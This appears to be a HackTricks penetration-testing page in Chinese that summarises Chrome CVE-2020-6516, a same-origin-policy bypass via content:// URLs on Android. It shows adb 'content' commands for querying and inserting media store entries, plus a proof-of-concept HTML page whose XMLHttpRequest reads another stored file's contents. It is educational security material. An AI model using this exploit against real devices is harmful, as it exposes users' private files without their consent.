5.6 KiB
{% hint style="success" %}
学习与实践 AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
学习与实践 GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 telegram 群组 或 关注 我们的 Twitter 🐦 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。
{% embed url="https://websec.nl/" %}
这是帖子 https://census-labs.com/news/2021/04/14/whatsapp-mitd-remote-exploitation-CVE-2021-24027/ 的摘要
列出媒体存储中的文件
要列出媒体存储管理的文件,可以使用以下命令:
$ content query --uri content://media/external/file
为了更人性化的输出,仅显示每个索引文件的标识符和路径:
$ content query --uri content://media/external/file --projection _id,_data
内容提供者被隔离在其自己的私有命名空间中。访问提供者需要特定的 content://
URI。有关访问提供者的路径的信息可以从应用程序清单或Android框架的源代码中获得。
Chrome对内容提供者的访问
Android上的Chrome可以通过 content://
方案访问内容提供者,从而访问第三方应用程序导出的资源,如照片或文档。为了说明这一点,可以将文件插入到媒体库中,然后通过Chrome访问:
将自定义条目插入媒体库:
cd /sdcard
echo "Hello, world!" > test.txt
content insert --uri content://media/external/file \
--bind _data:s:/storage/emulated/0/test.txt \
--bind mime_type:s:text/plain
发现新插入文件的标识符:
content query --uri content://media/external/file \
--projection _id,_data | grep test.txt
# Output: Row: 283 _id=747, _data=/storage/emulated/0/test.txt
该文件可以通过使用文件标识符构建的 URL 在 Chrome 中查看。
例如,要列出与特定应用程序相关的文件:
content query --uri content://media/external/file --projection _id,_data | grep -i <app_name>
Chrome CVE-2020-6516: Same-Origin-Policy Bypass
同源策略 (SOP) 是浏览器中的一种安全协议,限制网页与来自不同源的资源进行交互,除非通过跨源资源共享 (CORS) 策略明确允许。该策略旨在防止信息泄露和跨站请求伪造。Chrome 将 content://
视为本地方案,这意味着更严格的 SOP 规则,其中每个本地方案 URL 被视为一个单独的源。
然而,CVE-2020-6516 是 Chrome 中的一个漏洞,允许通过 content://
URL 绕过 SOP 规则。实际上,来自 content://
URL 的 JavaScript 代码可以访问通过 content://
URL 加载的其他资源,这在安全上是一个重大问题,尤其是在运行 Android 10 之前版本的 Android 设备上,因为这些版本未实现范围存储。
下面的概念验证演示了这个漏洞,其中一个 HTML 文档在 /sdcard 下上传并添加到媒体库中,使用其 JavaScript 中的 XMLHttpRequest
访问并显示媒体库中另一个文件的内容,绕过了 SOP 规则。
Proof-of-Concept HTML:
<html>
<head>
<title>PoC</title>
<script type="text/javascript">
function poc()
{
var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function()
{
if(this.readyState == 4)
{
if(this.status == 200 || this.status == 0)
{
alert(xhr.response);
}
}
}
xhr.open("GET", "content://media/external/file/747");
xhr.send();
}
</script>
</head>
<body onload="poc()"></body>
</html>
{% embed url="https://websec.nl/" %}
{% hint style="success" %}
学习和实践 AWS 黑客技术:HackTricks 培训 AWS 红队专家 (ARTE)
学习和实践 GCP 黑客技术:HackTricks 培训 GCP 红队专家 (GRTE)
支持 HackTricks
- 查看 订阅计划!
- 加入 💬 Discord 群组 或 telegram 群组 或 在 Twitter 🐦 上关注我们 @hacktricks_live.
- 通过向 HackTricks 和 HackTricks Cloud github 仓库提交 PR 来分享黑客技巧。